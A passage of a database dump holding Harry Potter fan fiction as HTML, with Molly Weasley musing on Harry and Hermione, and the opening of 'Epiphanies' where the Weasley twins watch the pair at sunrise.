operated. Being born to a\nwizarding family meant only a longer exposure to magic, and perhaps, the <i>confidence</i>\nto do magic instinctively and without fear of the consequences. But all that <i>that</i>\nwould make you is just an average wizard.</p>\n\n<p class="MsoBodyTextFirstIndent">But combining one&#8217;s innate talents and\nconfidence with knowledge and understanding would make one a truly <i>outstanding</i>\nwizard. Hermione had that and more; Molly knew that it was only through her\nsheer persistence and bossiness that Harry and Ron were getting better than\naverage grades in school.</p>\n\n<p class="MsoBodyTextFirstIndent">She sighed, again.&nbsp; At least, Harry seemed to be &#8220;getting it&#8221; (in the quaint language\nthat her children used.)&nbsp; He seemed to\nunderstand the need for knowledge of magic to supplement his own innate skills,\nsharpening the latter into a powerful combination of inner magic and knowledge.</p>\n\n<p class="MsoBodyTextFirstIndent">Ron, though &#8230; &#8216;it would be better if someone\nkeeps <i>his</i> long nose to the grindstone,&#8217; Molly thought. &#8216;Otherwise &#8230; he\nmay fall flat on his face and break that nose &#8211; or something else more\nimportant!&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry, on the other hand, had been gaining both\nthe confidence and knowledge he needed to become an extraordinary wizard.&nbsp; Again, he may have the blood of wizards\nrunning through his veins, but his constant companionship with Hermione had\nhelped sharpen his skills &#8230; to the point that he was able to defeat Voldemort\nin a wizard&#8217;s duel.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly had also learned of Harry&#8217;s mastery of\nthe Patronious Charm when Remus Lupin had passed by The Burrow on a mission for\nDumbledore. She herself, in spite of the centuries of wizard blood in her\nveins, had never been able to conjure up a Patronious as easily as she had\nheard Harry did &#8211; and at only fourteen, at that!</p>\n\n<p class="MsoBodyTextFirstIndent">Arthur could &#8211; but it often took too much out\nof him. Again, it was totally different from what she heard Harry could do &#8211;\napparently, he could conjure up a powerful Patronious whenever needed, without\nthe drain on his inner strength that made it so difficult for many wizards or\nwitches to make effective use of the charm.</p>\n\n<p class="MsoBodyTextFirstIndent">But it was Harry&#8217;s innate gentleness and caring\nnature that had always touched her heart, from the moment she first met him on\nPlatform 9 and &#190; over four years before.&nbsp;\nIt was just the gentleness and caring that Ginny needed to build up her\nconfidence and self-esteem; although her brothers loved her and protected her,\ntheir constant teasing and jokes (especially from the twins) had not done much\nto build her confidence up.</p>\n\n<p class="MsoBodyTextFirstIndent">She knew that it was this lack of confidence\nthat had pushed Ginny into confiding all her thoughts and secrets to that\ninfernal diary in the first place!&nbsp; When\nshe had asked Ginny much later why she hadn&#8217;t asked for a diary in the first\nplace, Ginny had stammered for a while before admitting that she had felt that\nthey didn&#8217;t have enough money to buy her one &#8211; on top of all the course books\nrequired by that stupid git Lockhart, and everything else &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Molly squirmed again in embarrassment at that\ntalk with her youngest child.&nbsp; For lack\nof a few silver Sickles, a life was almost lost.</p>\n\n<p class="MsoBodyTextFirstIndent">But with Harry &#8230; with Harry&#8217;s kindness and\ngentle nature, Ginny would have been protected from all that. Ginny would have\nbeen covered with a loving protection from someone who, having experienced so\nlittle of it from others during his formative years, would understand how it\nfelt &#8211; and would have an abundance of it to give in return.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly thought of her two daughters &#8211; the real\none, and the &#8220;adopted&#8221; one &#8211; and considered how they had dealt with their\nrelative insecurities.&nbsp; Hermione had\ncovered it up with her bossy nature and know-it-all, smarty pants attitude &#8230;\nGinny, on the other hand, had nothing like that to fall back on, and allowed\nher insecurities to lead her to the diary from hell.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">And yet, when she realized what was happening,\nshe had instinctively tried to turn to Harry for help. Ginny had confessed to\nher mother, months afterward, that she had tried to tell Harry about what was\nhappening, and her fears that she was losing her sanity. It was the constant\nteasing of her brothers, however, that prevented her from doing so &#8230; that, and\nthe fear that Harry would only have laughed at her, in much the same way that\nher brothers often laughed at her.</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny admitted to her mother that, deep down,\nshe knew that Harry wouldn&#8217;t laugh at her &#8230; but she just couldn&#8217;t be <i>sure</i>\nof it.&nbsp; Which had led to the unfortunate\nset of circumstances &#8230; even to the point of stealing the diary from Harry&#8217;s\ndorm, rather than take the risk that he would get a chance to read what she had\nwritten.&nbsp; In the end, Tom Riddle had\ngotten more and more control over her &#8230; leading her, finally, to the Chamber of\nSecrets, and the certain death that awaited her there.</p>\n\n<p class="MsoBodyTextFirstIndent">Until Harry and Ron came to the rescue.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly Weasley shook her head, and sighed.&nbsp; She looked out the window again, and watched\nHarry and Hermione as they sat together in comfortable silence watching the sun\nrise. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;It could still go either way,&#8217; she thought.\n&#8216;What makes them so perfect for Ron and Ginny also makes them so perfect for\neach other. I only hope that they both recognize what they have &#8230; what they\nfound in each other &#8230; and grow stronger together.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;If they go with each other, I can only hope\nthat they can bring Ron and Ginny with them. If Harry goes with Ginny, and Ron\ngoes with Hermione &#8230;&#8217; she sighed. &#8216;I hope that they will still have that same\ncloseness and comfort they have with each other. They both need it &#8230; all four\nof them need it.&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">With that thought, Molly Weasley stood up and\nstarted to prepare herself for the day ahead. She took one final look around\nthe room, and her eyes rested on the photograph of herself and the baby that\nwas Ginny in her arms.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;Whichever way they go &#8230; whoever they go with &#8230;\nwe still owe Harry and Hermione a life.&nbsp;\nWe still owe Ginny&#8217;s life to the two of them.&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">She took one final look at Harry and Hermione,\nstill sitting on the ancient stone bench, watching the sunrise in comfortable\nsilence. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;Either way, I&#8217;m happy that both of them are\nhere with us.&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">Looking out at the sky now turning blue with\nthe ever rising sun, she murmured a small, heartfelt prayer. &#8220;Thank you, Lord\nfor the two of them. Thank you.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She stepped out of the room to prepare\nbreakfast for her family &#8211; the family that included two people who were still\nnot aware that someone had been watching them the whole time.</p>\n\n\n\n\n\n\n'),
	(125, 2, '\n\n\n\n<p class="MsoTitle">Epiphanies (01)</p>\n\nChapter 1.&nbsp; Densities and Insensitivities\n\n<p class="MsoBodyTextFirstIndent">The brilliant orb of the rising sun finally\nbroke over the horizon. Harry&#8217;s eyes, seemingly staring blankly at the spot,\nblinked &#8211; and he took a deep breath.&nbsp; He\nfelt Hermione, leaning on him, take a deep breath, almost as if they had both\nbreathed in simultaneously.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;Another day,&#8217; he thought. &#8216;If I were still\nwith the Dursleys, I would be marking another day off the calendar &#8230; another\nday until I can go home to Hogwarts.&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">His breathing suddenly hitched. &#8216;Going home?&#8217;\nhe thought.&nbsp; &#8216;Going home to <i>what</i>?\nThe scene of the crime?&#8217;&nbsp; He grimaced &#8211;\nthe events of last year running through his mind like an out-of-control movie &#8230;\nCedric Diggory &#8230; Professor Moody an impostor, a Death Eater who had conspired\nto lead him into a trap &#8230; dueling with Voldemort in the graveyard &#8230; his parents\ncoming out of his enemy&#8217;s wand &#8230; the portkey back to Hogwarts, holding on for\ndear life to Cedric&#8217;s body, fulfilling a promise made to his ghost (&#8216;<i>was </i>it\nhis ghost?&#8217; he thought.<i> </i>Until now, Harry couldn&#8217;t be sure) &#8230; the Leaving\nFeast, and Dumbledore&#8217;s announcement &#8230; the train compartment, and the hexes\nthrown at Draco Malfoy and his cronies &#8230; the parting of the friends at Platform\n9 and &#190;&nbsp; &#8230; and &#8230; and &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">He started to shake his head, and stopped.&nbsp; He had been resting his cheek on Hermione&#8217;s\nhead for the past ten minutes or so, unconsciously breathing in the sweet smell\nof her shampoo &#8230; he was loath to break this moment of comfort and peace by letting\nhis thoughts intrude &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">He couldn&#8217;t stop himself from stiffening\nslightly, however, as his body went into instinctive &#8220;fight or flight&#8221; mode\nwith the surge of adrenaline triggered by his memories &#8211; and the fear of what\nthe coming school year will bring.&nbsp; How\nwill his fellow students react, now that they&#8217;ve had a few months to assimilate\nDumbledore&#8217;s announcement that Voldemort was back? Will they look at him in\nfear as they had in his second year when the Chamber of Secrets was opened &#8211;\nand the rumors spread that <i>he</i> was the Heir of Slytherin?&nbsp; Would they be sympathetic, as had happened\nin third year, when the whole school learned that Sirius Black, escaped\nconvict, murderer of over a dozen Muggles, right hand man of Voldemort, was\nafter him?&nbsp; Or will they jeer behind his\nback as had happened only last year, when the Goblet of Fire named <i>him</i>\nas a champion &#8211; most of the school (including <i>Ron</i>, he thought) wondering\nwhether his ambition had driven him to break the rules again &#8211; and the\nHufflepuffs looking at him with hatred for the sheer audacity of trying to\nsteal the glory of having <i>their</i> candidate as the Hogwart&#8217;s champion.</p>\n\n<p class="MsoBodyTextFirstIndent">The situation hadn&#8217;t been helped at all by the\nreporting (more like scandal-mongering) of Rita Skeeter, a Daily Prophet\nreporter who thought nothing of substituting fiction for truth, of\ntransfiguring grains of truth into a pile of lies with all their odious smell,\nof using her revolting quill to strike back at the people who crossed her.&nbsp; He tried to hold himself still as his mind\nraged over the way she had struck at two people closest to him: Hagrid,\nrevealed as a half-giant (and almost whipping up all the old prejudices), and\nHermione, who Rita Skeeter had first said was his girlfriend, and then\ninsinuated was two-timing him with Viktor Krum.</p>\n\n<p class="MsoBodyTextFirstIndent">He forced the rage from his mind, recalling how\nMrs. Weasley had reacted to Hermione when she and Bill had visited him to watch\nthe Third and final Task.&nbsp; At least,\nthat was easy to deal with, he thought. But the sheer nerve of that &#8230; that &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">He felt two slim arms encircling his waist and holding\nhim in a warm hug.&nbsp; Startled, he started\nto move away but only felt Hermione hugging him tighter still. He couldn&#8217;t\nbreathe &#8211; not because the arms around him were squeezing him &#8211; but because he\nsimply did not know how to react!</p>\n\n<p class="MsoBodyTextFirstIndent">As he moved his cheek away from Hermione&#8217;s\nbushy hair, he heard a calm, no-nonsense voice speak from behind the curtain of\nhair, &#8220;Don&#8217;t worry about her, Harry. I owled the Ministry and the Daily Prophet\nabout her being an illegal Animagus &#8230; and asked Mr. Weasley to make sure that\nshe <i>gets</i> what she has coming to her.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry sat upright, looking at her in\nshock.&nbsp; Not about what she had done &#8211; if\nthere was one thing he could count on about his friend, it was the perfection\nshe put into her planning &#8211; but more to the point, the fact that she seemed to\nbe reading his mind.</p>\n\n<p class="MsoBodyTextFirstIndent">She looked back at him with a warm, but\nmischievous smile on her face, an eyebrow raised as she looked at him\nquizzically. &#8220;How &#8230;&#8221; he croaked, as he tried to work his suddenly parched\nthroat. &#8220;How did you do that? <i>How can you be reading my mind?</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She smiled at him fondly. &#8220;Elementary, my dear\nHarry. You <i>always</i> flex your hands as if you wanted to strangle someone\nwhenever you think about Rita Skeeter, although I would admit that <i>that</i>\nis the same feeling I get whenever <i>I </i>&nbsp;think about her.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I do?&#8221; he asked, shocked.&nbsp; He looked down at his hands, one in his lap\nand the other still around her waist,&nbsp;\nclenching tightly into fists.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Of course you do!&#8221; Hermione replied, shaking\nher head and sending her hair flying in all directions, strands almost hitting\nhis face if he hadn&#8217;t ducked. &#8220;Come on, Harry! It isn&#8217;t as if we&#8217;re strangers &#8230;\nwe&#8217;ve been <i>friends</i> for years &#8230; classes, meals, study sessions and all &#8230;\nnot to mention the odd adventure or two.&#8221; </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Not to mention the hours spent in the\nlibrary,&#8221; he teased,&nbsp; &#8220;reading till my\neyes were blurred, breathing in all that dust from books untouched for <i>years</i>,\nfeeling my arms and legs stiffen up because of all the sitting &#8230; getting bored,\nbored, <i>bored</i> because I had to sit there rather than fly &#8230; or run around\nthe grounds &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She gave him a quick smile of condescension.\n&#8220;Well, you gotta admit, Harry, it <i>has</i> been useful &#8230; else, you and Ron&#8217;ll\n<i>still</i> be in fourth year now.&nbsp;&nbsp;\nHow would it feel, going to the same classes with Ginny Weasley <i>and </i>&nbsp;Colin Creevey?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She smirked at his reaction, and continued in a\nsweet voice. &#8220;Or maybe that&#8217;s what you <i>really </i>wanted, Harry? You know &#8230;\nwalking around the campus with your fans&#8217; club hounding your every step &#8230;\nwaiting to hear pearls of wisdom from your lips, because this is the <i>second</i>\ntime you&#8217;ve heard those lessons &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He glared at her fiercely, but then smiled. He\ncouldn&#8217;t keep himself angry at her for anything &#8230; not since third year and the\nFirebolt incident.&nbsp; Even then, she <i>had</i>\nbeen right &#8230; Sirius had sent him the broom, not to kill him but as a gift to\nmake up for fourteen years of birthday presents from his godfather. But they\ndidn&#8217;t know <i>that</i> at the time &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You&#8217;re a witch, Mione,&#8221; he said,\nexasperatedly. He tensed, preparing to duck the punch she usually threw at him\nwhenever he used that hated nickname. </p>\n\n<p class="MsoBodyTextFirstIndent">To his surprise, her reaction was calm: &#8220;I\nshould hope so, Harry. After all, what&#8217;s an education at Hogwarts School of <i>Witchcraft</i>\nand Wizardry supposed to make of me?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry gaped at her for a second and then, with\na wicked grin, suddenly started tickling her through the Quidditch robes.\nSurprised at the sudden attack, Hermione fell to the ground, laughing, beating\noff his hands and trying to roll out of his assault.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Harry! Get off me! Whatareyoutryingtodo, you,\nyou &#8230;&#8221; she half-shouted, half-whispered, in between giggles and laughs.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;What did you do to Hermione, you evil witch?\nWhere are you keeping her? <i>Tell me</i> &#8230; she <i>doesn&#8217;t</i> like that name &#8230;\nshe <i>never</i> likes anyone calling her Mione &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Finally, Hermione was able to roll away to a\nsafer distance (the Quidditch robes now muddied and covered with grass stains),\nand sat up, laughing. Harry made a move to follow her, but suddenly kneeled\ndown, a few steps from her, gasping from the effort.</p>\n\n<p class="MsoBodyTextFirstIndent">Giving her a mock-glare, he gasped out, &#8220;Tell\nme, evil witch! What did you do to my friend? Where have you hidden her? <i>Tell\nme!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">They looked at each other and suddenly rolled\naround, laughing at Harry&#8217;s melodramatic voice.&nbsp; With a sudden lunge, Hermione grappled Harry and they started\ntickling each other &#8230;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Two pairs of eyes were observing the melee in\nthe grass.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;How cute,&#8221; one red-haired older boy said.\n&#8220;They really look good together &#8230; &#8220;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah,&#8221; his twin brother said, looking\nbemusedly at the two rolling around on the grass. &#8220;Good thing ickle Ronniekins\nis still asleep &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Or there will be three gits rolling around out\nthere?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The other swiped at his brother&#8217;s head,\neliciting a painful, &#8220;Ow, watch it!&#8221; before continuing, &#8220;NO, you stupid ninny!\nIckle Ronniekins will be <i>jealous</i> &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">A light dawned on the other&#8217;s face. &#8220;He&#8217;ll be <i>mad</i>\n&#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Resentful &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mental &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Weird &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Jealous.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I <i>said</i> that, you git! Find your own\nwords!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hold it,&#8221; the other said.&nbsp; &#8220;We&#8217;re getting off topic here.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Huh?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;We were talking about ickle Ronnie &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;That&#8217;s <i>what</i> we were doing,&#8221; the other\nprotested. His brother ignored him.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Given what those two out there are doing,&#8221; he\nmused, &#8220;I think Ron&#8217;s gonna have a problem.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">His brother looked out the window, and saw\nHarry and Hermione standing up, foreheads touching, mirth in their body\nlanguage as they continued laughing. &#8220;Oh, oh &#8230; George, they&#8217;re gonna start\nsnogging in a second &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred almost fell on the bed in their crowded\nroom, as George pushed him from the window. &#8220;Watch it, George! You almost threw\nme into the cauldron!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George, however, was not listening.&nbsp; He watched from the windows, and suddenly\nturned to his twin in surprise and annoyance. &#8220;What <i>snogging</i> are you\ntalking about, you stupid git?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred shoved him out of the way, &#8220;You <i>blind</i>,\nGeor &#8211;&#8220;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred stood there, mouth agape as he took in the\nscene below them. Rather than the passionate snogging scene he anticipated, he\nwatched as Harry swung Hermione around, laughing all the time while Hermione\nhung on to his neck, also laughing, her bushy hair flying in the air.</p>\n\n<p class="MsoBodyTextFirstIndent">Fred looked at George in shocked disbelief.\n&#8220;Are they &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Lovers?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Friends?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Acquaintances?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Associates?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The two looked down again at the tableau below\nthem. Harry and Hermione were now sitting on the grass, watching the sunrise, leaning\nagainst each other, Harry&#8217;s arm lightly draped on Hermione&#8217;s shoulder, her arm\nlightly wrapped around his waist.</p>\n\n<p class="MsoBodyTextFirstIndent">As one, they looked at each other, and shook\ntheir heads. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;They&#8217;re either sooo thick &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Or dense &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Blind &#8230; &#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Dumb ...&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Slow &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Dim &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">They looked again at the two figures on the\ngrass.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;They&#8217;re either the best of friends &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Or they&#8217;re just hiding it &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Or they simply &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Don&#8217;t know it yet!&#8221; they cried out\nsimultaneously.&nbsp; Slowly, the twins slid\ndown to the floor, looking at each other in incredulous silence. After a few\nseconds, George (or was it Fred?) suddenly giggled &#8230; to be followed by his\nbrother&#8217;s slightly choking sniggers &#8230; which George or Fred soon upgraded to\nchuckles &#8230; and then both were on the floor, roaring in helpless hilarity,\naccompanied by loud bangs and pops as the various experiments around the room\nappeared to join in their mirth.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I don&#8217;t believe it!&#8221; Fred said through his\nchoking laughter.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah,&#8221; George said, pounding the floor softly\nwith his fist. &#8220;Harry &#8230; was just &#8230; <i>one &#8230; bloody &#8230; inch &#8230; from &#8230; kissing her</i>\n&#8230; and he just spins her around! He&#8217;s dumb &#8230; dumb &#8230; <i>dumb </i>!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hey, stop that!&#8221; Fred said. &#8220;That&#8217;s our <i>investor</i>\nyou&#8217;re talking about!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Maybe that&#8217;s why he gave us the money?&#8221; mused\nGeorge. He ducked as Fred aimed a punch at him. &#8220;So, what do we do, brother\nmine?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Join them?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred ducked the pillow thrown at him. &#8220;No, you\nbloody dodo!,&#8221; George said. &#8220;I mean what do we do about <i>them</i>?&#8221; (His\nthumb was pointing out the window.)</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Just what I said! Let&#8217;s join them for a mud\nfight!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George raised his eyes to the ceiling,\nmuttering something about bludgers, bats, and his brother&#8217;s head. &#8220;No! I mean\nwhat do we do about our <i>investor</i> &#8230; do we help him out?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You&#8217;re forgetting something, brother mine.&#8221;\nFred snapped his head around to his twin. &#8220;Or rather &#8230; some <u>one</u>.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh.&#8221; he replied. After a moment&#8217;s thought, he\nadded, &#8220;Or some <u>ones</u>.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George looked at him. &#8220;Ginny?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I didn&#8217;t mean Percy, you know.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The two fell silent, sitting on the floor of\ntheir bedroom. Finally, Fred spoke up, &#8220;So what do we do?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well,&#8221; George replied. &#8220;It&#8217;s obvious that\nthose two out there (jerking his thumb to the window) really <i>like</i> each\nother &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But are they lovers or are they friends?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George ignored that, and continued, &#8220;And our\nlittle brother has it bad for little Miss Granger &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah &#8230; he&#8217;s been talking about nothing since\nthe summer started. I was starting to wonder whether he will be asking Harry to\nstay away or come on down with us &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But our <i>investor</i> and ickle Miss Granger\nseem to have some <i>thing</i> going for them &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So who do we help? Our ickle brother or our\ninvestor?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;It&#8217;s not that simple, Fred. Harry&#8217;s\npractically our adopted <i>brother</i>, too &#8230;&#8221; George&#8217;s voice trailed off.&nbsp; Fred raised an eyebrow questioningly.\nGeorge, seeing this, elaborated, &#8220;He did save little Ginny, didn&#8217;t he?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh, right. We owe him for that &#8230; as well as\nfor the money.&#8221; Fred looked at George. &#8220;So? Well &#8230; we can always match him up\nwith Ginny-kins &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Except that Ginny doesn&#8217;t seem to feel\nanything for him anymore.&#8221; Fred raised an eyebrow. &#8220;Come on, brother! Three\nyears ago, you couldn&#8217;t hear anything from her except that Harry was coming to\nvisit &#8230; heard one peep out of her <i>this</i> year? Or the past two years?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred shook his head.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I think little Ginny&#8217;s growing up, Fred,&#8221; George\ncontinued. &#8220;&#8230; she may still feel <i>something</i> for Harry, but I think she <i>knows</i>\nthat nothing can come out of it &#8230; not unless <i>Harry </i>gets a bludger to the\nhead &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred frowned at that, and then his eyes\nsuddenly cleared. &#8220;Oh &#8230; you mean if something can knock Hermione out of his\nhead?&#8221; George nodded at that, and Fred continued, &#8220;We can&#8217;t count on Ginny for\nthat, do we?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George shook his head, &#8220;No.&#8221; He thought about\nthis for a moment. &#8220;No, we <i>can&#8217;t</i> be sure &#8230; maybe there&#8217;s still something\nthere &#8230; but we don&#8217;t <i>know</i>, do we?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred didn&#8217;t answer. He was again looking out\nthe window of their room, watching Harry and Hermione who were now lying down\non the grass, watching the clouds roll across the sky as the sun&#8217;s orb was a\nquarter up the horizon.&nbsp; George stood\nbeside him, silently watching them also.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You&#8217;re right. Those two have got some <i>thing</i>\nbetween them &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George sighed. &#8220;The question, dear brother, is <i>what</i>?\nAre they just friends &#8230; or are they in the &#8216;friends but soon to be lovers&#8217;\nstage?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;In other words, do Ron and Ginny still have a\nchance at those two? Or do they need a little help from you and me? Hmmm?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George was silent, deep in thought.&nbsp; Fred also looked outside, and then turned to\nGeorge. &#8220;You know &#8230; you don&#8217;t look like Cupid, George.&#8221; His brother looked at\nhim sharply. &#8220;You haven&#8217;t got the wings for it &#8230; you&#8217;ve got a face that can\nstop a clock &#8230; and I can&#8217;t imagine you flying around with little arrows tipped\nwith love potion &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So what you&#8217;re saying is &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I vote we keep out of this.&#8221; <u></u></p>\n\n<p class="MsoBodyTextFirstIndent">George stared at his brother. Fred continued,\n&#8220;I mean &#8230; it&#8217;s <i>their</i> life, after all.&nbsp;\nIf Ron really likes Hermione &#8230; he better get going. I mean &#8230; the way\nthings are going for those two down there, if he doesn&#8217;t do <i>something</i>,\nthere will be no stopping them &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George broke in, &#8220;You mean to say, our little\nbrother better grow up.&nbsp; He&#8217;s not going\nto get anywhere if he keeps teasing and fighting with Hermione &#8230; &#8220;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred nodded. &#8220;All that crock about love-hate\nrelationships turning into love is simply just that &#8230; crock &#8230; as you and Katie\nproved. You had to drop the act to get <i>anywhere</i> with her &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hey, why pick on me?&nbsp; It <i>worked</i>, didn&#8217;t it?&#8221; George replied. &#8220;And besides &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Right, we&#8217;re going off-topic again,&#8221; Fred\nreplied hastily, talking all over George&#8217;s rebuttal. &#8220;As for Ginny &#8230; if she\nwants to have something with Harry, <i>she </i>&nbsp;better get a move on &#8230; There&#8217;s nothing <i>we</i> can do &#8230; except\npick up the pieces.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Maybe.&#8221; He amended himself.</p>\n\n<p class="MsoBodyTextFirstIndent">George stared at him.&nbsp; After a moment, Fred started twitching uncomfortably at the\nsilence emanating from his usually ebullient twin. &#8220;What?&#8221; he demanded from\nGeorge. &#8220;I got dirt on my nose or something?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George shook himself, as if from a dream. &#8220;No &#8230;\nit&#8217;s just that &#8230; what you said makes <i>sense</i>.&#8221; He thought about it. &#8220;In\nfact, it makes a <i>lot</i> of sense &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I know I&#8217;m right,&#8221; said Fred. &#8220;So what&#8217;s\nbothering you?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George looked Fred straight in the eye. &#8220;You\njust said it, brother. We&#8217;ll leave them to deal with it &#8230; no <i>interference</i>\nfrom us? (Fred nodded.) No <i>teasing</i> from us? (Again, Fred nodded.) <i>Not\n&#8230; a &#8230; thing &#8230; from &#8230; us?</i>&#8221; (Fred nodded again, puzzled.)</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Don&#8217;t you <i>see</i> it, Fred?&#8221; Fred looked\nfrightened as George grabbed his shoulders and shook him.&nbsp; &#8220;We&#8217;re being <i>responsible</i>, <i><u>mature</u></i>\npeople, Fred! Does this mean that 